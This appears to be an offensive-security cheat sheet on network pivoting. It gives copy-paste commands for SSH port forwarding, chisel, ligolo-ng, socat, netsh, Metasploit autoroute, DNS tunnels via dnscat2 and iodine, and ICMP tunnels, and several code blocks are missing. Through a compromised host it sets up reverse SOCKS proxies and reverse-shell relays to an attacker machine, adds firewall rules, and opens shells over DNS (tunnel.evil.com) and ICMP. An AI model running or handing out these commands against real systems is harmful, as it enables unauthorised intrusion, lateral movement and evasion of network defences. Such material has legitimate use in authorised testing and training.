Tunneling & Pivoting
Contents
Every method. Copy-paste the command. Move on.
Conventions: 10.10.14.x = attacker, 172.16.0.x = internal target, pivot = compromised dual-homed host.
SSH Tunneling#
The foundation. If you have SSH creds to a pivot host, you have everything you need.
Local port forward (-L)#
Route traffic from your machine through the pivot to an internal target.
| |
Now curl http://127.0.0.1:8080 hits the internal web app. The pivot does the routing.
[attacker:8080] ──ssh──> [pivot] ──> [172.16.0.10:80]
Remote / reverse port forward (-R)#
Expose a target’s internal service back to your machine. Useful when the target can reach the pivot but you can’t reach the target directly.
| |
Now mysql -h 127.0.0.1 -P 9001 on your attacker box hits the target’s MySQL.
[attacker:9001] <──ssh── [target/pivot] ──> [127.0.0.1:3306]
Dynamic SOCKS proxy (-D)#
Route everything through the pivot. Pairs with proxychains.
| |
proxychains config (/etc/proxychains4.conf):
[ProxyList]
socks5 127.0.0.1 1080
Now prefix any command with proxychains:
| |
nmap must use -sT (connect scan), not -sS (SYN scan). Ping won’t work — use -Pn.Double pivot (SSH over SSH)#
Chain through multiple hops. ProxyJump is the clean way:
| |
Or nest dynamic proxies:
| |
SSH tips#
| |
ssh -A forwards your agent keys to the pivot. Convenient for hopping but dangerous — anyone with root on the pivot can use your keys. Don’t do it on untrusted hosts.Chisel#
The go-to when SSH isn’t available. Single binary, works on Linux and Windows, tunnels over HTTP.
Reverse SOCKS proxy (most common)#
chisel server --reverse -p 8080
./chisel client 10.10.14.5:8080 R:socks
SOCKS5 proxy is now on attacker:1080. Use with proxychains as above.
Forward a single port#
| |
Reverse port forward#
| |
Tips#
- Transfer the binary:
python3 -m http.server 80on attacker,wget/curl/certutilon target - It’s an HTTP Upgrade connection — blends with web traffic, gets through most proxies
- Windows:
chisel.exe— same syntax, same flags - Specify bind address on server:
chisel server --reverse -p 8080 --host 0.0.0.0
Ligolo-ng#
Full network pivoting. No SOCKS, no proxychains — you get actual routes to internal subnets. Significantly faster than chisel for scanning.
Setup#
# Create the tun interface (once)
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# Start proxy
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
./ligolo-agent -connect 10.10.14.5:11601 -ignore-cert
Usage#
In the ligolo proxy console:
» session # select agent
» ifconfig # see target's interfaces
Back on attacker’s shell, add routes:
| |
Back in ligolo:
» start
Done. nmap 172.16.0.10, curl http://172.16.0.10, whatever — it just works. No proxychains.
Reverse connections through the tunnel#
Need a callback from an internal host through ligolo back to you?
» listener_add --addr 0.0.0.0:4444 --to 10.10.14.5:4444 --tcp
Now anything connecting to pivot:4444 gets forwarded to attacker:4444. Launch your reverse shell payload pointing at the pivot’s IP.
Tips#
- Multiple agents = multiple sessions = multiple pivots at once
- Way faster than SOCKS for nmap scans
- Agent is a single Go binary — compile for target OS/arch or grab from releases
Socat#
Swiss army knife. Relay anything to anywhere.
Simple port forward#
| |
Reverse shell relay#
Target can reach pivot but not attacker. Relay through:
| |
Fire reverse shell at pivot:1234, catch on attacker:4444.
Encrypted relay#
| |
File transfer#
| |
plink.exe (Windows SSH)#
PuTTY’s CLI version. For when you land on Windows and need SSH tunneling.
Local forward#
| |
Reverse forward#
| |
Auto-accept host key#
| |
.exe, no install needed.netsh (Windows Native)#
Already on the box. No uploads. No installs.
Port forward#
| |
List all forwards#
| |
Remove#
| |
netsh advfirewall firewall add rule name="pivot" protocol=TCP dir=in localport=8080 action=allowMetasploit (portfwd + autoroute)#
If you already have a meterpreter session:
# Forward local 8080 to internal target's 80
meterpreter > portfwd add -l 8080 -p 80 -r 172.16.0.10
# Route entire subnet through session
meterpreter > run autoroute -s 172.16.0.0/24
# Stand up SOCKS proxy for proxychains
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > run -j
Now use proxychains with port 1080 to reach the internal subnet.
DNS Tunneling#
When only UDP 53 gets out. Slow as hell but sometimes it’s all you’ve got.
dnscat2#
# Start server (need a domain you control, or use direct mode)
ruby dnscat2.rb --dns "domain=tunnel.evil.com" --no-cache
./dnscat --dns "domain=tunnel.evil.com,server=10.10.14.5"
In the dnscat2 console:
dnscat2> session -i 1
command (target) > shell
command (target) > listen 0.0.0.0:8080 172.16.0.10:80 # port forward
iodine#
Gives you a full IP-over-DNS tunnel with a tun interface.
iodined -f -c -P password 10.0.0.1/24 tunnel.evil.com
iodine -f -P password tunnel.evil.com
Now you have a point-to-point link: attacker 10.0.0.1 <-> target 10.0.0.2. Route and forward as needed.
ICMP Tunneling#
When DNS is blocked too but ICMP (ping) is allowed. Rare but it happens.
icmpsh#
Simple reverse shell over ICMP. No libraries, no install.
# Disable kernel ICMP replies first
sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1
python3 icmpsh_m.py 10.10.14.5 172.16.0.10
icmpsh.exe -t 10.10.14.5
ptunnel-ng#
TCP-over-ICMP. Full tunnel, not just a shell.
ptunnel-ng -r 10.10.14.5 -R 22
ptunnel-ng -p 10.10.14.5 -l 2222 -r 10.10.14.5 -R 22
Then SSH through the ICMP tunnel:
| |
Quick Reference#
| Scenario | Tool | Command |
|---|---|---|
| SSH access to pivot | SSH -L/-R/-D | ssh -D 1080 user@pivot -N |
| Route entire subnet via SSH | sshuttle | sshuttle -r user@pivot 172.16.0.0/24 |
| No SSH, can upload binary | Chisel | chisel client ATK:8080 R:socks |
| Full subnet routing, no SOCKS | Ligolo-ng | proxy + agent + ip route add |
| Windows, no tools allowed | netsh | netsh interface portproxy add v4tov4 ... |
| Windows, have plink | plink | plink.exe -ssh -L 8080:TARGET:80 user@pivot |
| Simple port relay | socat | socat TCP-LISTEN:8080,fork TCP:TARGET:80 |
| Have meterpreter | MSF portfwd | portfwd add -l 8080 -p 80 -r TARGET |
| Only DNS gets out | dnscat2 / iodine | DNS tunnel |
| Only ICMP gets out | ptunnel-ng | ICMP tunnel |